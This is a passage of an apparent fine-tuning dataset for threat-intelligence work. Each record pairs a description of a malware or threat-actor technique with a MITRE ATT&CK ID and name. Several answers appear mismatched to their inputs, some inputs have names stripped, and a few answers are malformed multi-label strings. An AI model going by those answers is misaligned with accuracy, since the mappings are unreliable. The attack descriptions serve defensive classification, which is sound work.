                "content": "The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). (state) Indicates the state of a TCP connection. The possible states are as follows: CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT For more information about the states of a TCP connection, see RFC 793. Proto The name of the protocol (TCP or UDP). - Local Address The IP address of the local computer and the port number being used. The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). - Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). - - This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropper used by Putter Panda installs itself into the ASEP Registry key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" with a value named McUpdate."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can use HTTP to download previously staged shellcode payloads."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It only installs the second-stage script in the default registry value under the registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot. Variant B registers a scheduled task named Sibot and programmed to run daily. This task, which is saved by Windows in the file C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\WindowsUpdate\\sibot, runs the following command-line daily"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used legitimate executables to perform DLL side-loading of their malware."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information about the OS and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the computer name and host name on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has targeted executives, human resources staff, and IT personnel for spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ESET’s analysis of a recent backdoor used by TeleBots – the group behind the massive NotPetya ransomware outbreak – uncovers strong code similarities to the Industroyer main backdoor, revealing a rumored connection that was not previously proven The post New TeleBots backdoor: First evidence linking Industroyer to NotPetya appeared first on WeLiveSecurity"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: \"netstat -ano >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox can enumerate files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used encoded PowerShell scripts uploaded to  installations to download and install .  also used PowerShell scripts to evade defenses."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus uses command line for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepySnail can use PowerShell for execution, including the cmdlets `Invoke-WebRequst` and `Invoke-Expression`."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto uses launchctl to enable screen sharing on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT has the ability to upload and download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can search for a specific file on the compromised computer and can enumerate files in Desktop, Downloads, and Documents folders."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has used XOR-based encryption to mask C2 server locations within the trojan."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can hash then resolve API calls at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists files in directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence can capture victim screen activity."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has appended random binary data to the end of itself to generate a large binary."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has crafted VBS-based malicious documents."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D can use the \"touch -t\" command to change timestamps."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "listed remote shared drives that were accessible from a victim."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is obfuscated using the obfuscation tool called ConfuserEx."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tool Type Internal Name Industry Name   Backdoor Poison Frog BONDUPDATER   Backdoor Glimpse Updated BONDUPDATER   Webshell HyperShell TwoFace loader   Webshell HighShell TwoFace payload   Webshell Minion TwoFace payload variant   DNS Hijacking Toolkit webmask Related to DNSpionage     Table 1"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has used a DGA to generate a domain name for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has exploited various vulnerabilities for initial access, including Microsoft Exchange vulnerability CVE-2020-0688."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrossRAT uses run keys for persistence on Windows"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete collects the MAC address of the target computer and other network configuration information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has created a file named \"startup_vrun.bat\" in the Startup folder of a virtual machine to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Screenshot provided in leak showing administrative panel for hosting provider Berbid Server The screenshot showed the administrative panel for a VPS account on DeltaHost with four different virtual servers, as seen in Figure 20"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole uses WinRAR to compress data that is intended to be exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has used search order hijacking to force TeamViewer to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has used web services including Paste.ee to host payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred can download files and additional malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Conti Ransomware uses AES-256 encryption via a hard-coded public key. The unique factor is the use of multiple threads for the encryption process, which allows faster encryption as compared to other ransomwares. The ransomware uses a CreateIoCompletionPort() call to create 32 thread instances which work simultaneously to encrypt files. After encryption, the ransomware adds extension to all the encrypted files. It can be seen in the image below"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can use the \"chmod\" utility to set a file as executable, such as \"chmod 777\" or \"chmod +x\"."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors were observed using benign executables which used DLL loadorder hijacking to activate the malware installation process."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  versions have an embedded DLL known as MockDll that uses process hollowing and  to execute another payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RDP for."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used valid, stolen digital certificates for some of their malware and tools."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has staged and executed PowerShell scripts on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors obtained a list of active processes on the victim and sent them to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the extensive validation described above, the backdoor enters its main execution stage. At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information. The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc. effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dipsind encodes C2 traffic with base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To illustrate a real example of how this worked and looked to a website visitor, the following section will use one of the few pages of the fake site baomoivietnam[.]com that was designed to profile visitors and deliver malware or a phishing link. On this site, a news story (https://www.baomoivietnam[.]com/dai-hoc-ton-duc-thang-hieu-truong-lam-quyen-de-xay-ra-sai-pham/) about an investigation into potential improper conduct by a university professor in Vietnam contained malicious content. Once the page was accessed, a special OceanLotus server on the hostname cdn.arbenha[.]com would be leveraged to load malicious JavaScript to load a fake video player. At first, the page would display a dialog indicating that the video was loading (Đang tải) as shown in Figure 1 below"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects registered owner details by using the commands \"systeminfo\" and \"net config workstation\"."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used TROJ_GETVERSION to discover system services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can use `cmd.exe` for execution on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can encrypt data prior to exfiltration by using an RSA public key."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of this research, I reached out to Benjamin Delpy, author of Mimkatz, and requested he add “SID History” to Mimikatz forged Kerberos tickets. The June 28th version of Mimikatz now includes the capability to include arbitrary SIDs in SID History on forged tickets. When a user is authenticated, the SIDs of every security group the user is a member of is added to the user’s Kerberos ticket, as well as any SIDs in the user’s SID History. Golden Tickets . Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. In other words, in a mult-domain AD forest, if the domain the Golden Ticket was created in doesn’t contain the Enterprise Admins group, the Golden Ticket won’t provide admin rights to other domains in the forest. The standard Golden Ticket is limited to the child domain it was created in, so now we add SID History to the equation… . Golden Ticket + SID History = WINNING. Things get more interesting once Mimikatz supports SID History in Golden Tickets (and Silver Tickets) since any group in the AD Forest can be included and used for authorization decisions. In order to support my research into how to expand access using SID History in Kerberos tickets across trusts (both intra-forest and external), I reached out to Benjamin Delpy in late June and requested SID History be added. Using the latest version of Mimikatz, we can now add SID History to the Golden Ticket for the Forest Enterprise Admins group. In summary, Golden Tickets can now be used to compromise any domain in the AD Forest once a single one is compromised"
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body starts with gathering data on the victim’s machine, including: Host-name, computer-name, username, domain name, windows version, processor ~MHz, MachineGuid, 64bit or not, and public IP (using checkip.amazonaws.com"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson has the ability to discover pluggable/removable drives to extract files from."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used compromised websites to register custom URL schemes on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.Orion.Core.BusinessLayer.dll component"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Versions of Babuk have been packed."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used a peer-to-peer (P2P) network for C2."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has used HTTPS and HTTP GET requests with custom HTTP cookies for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
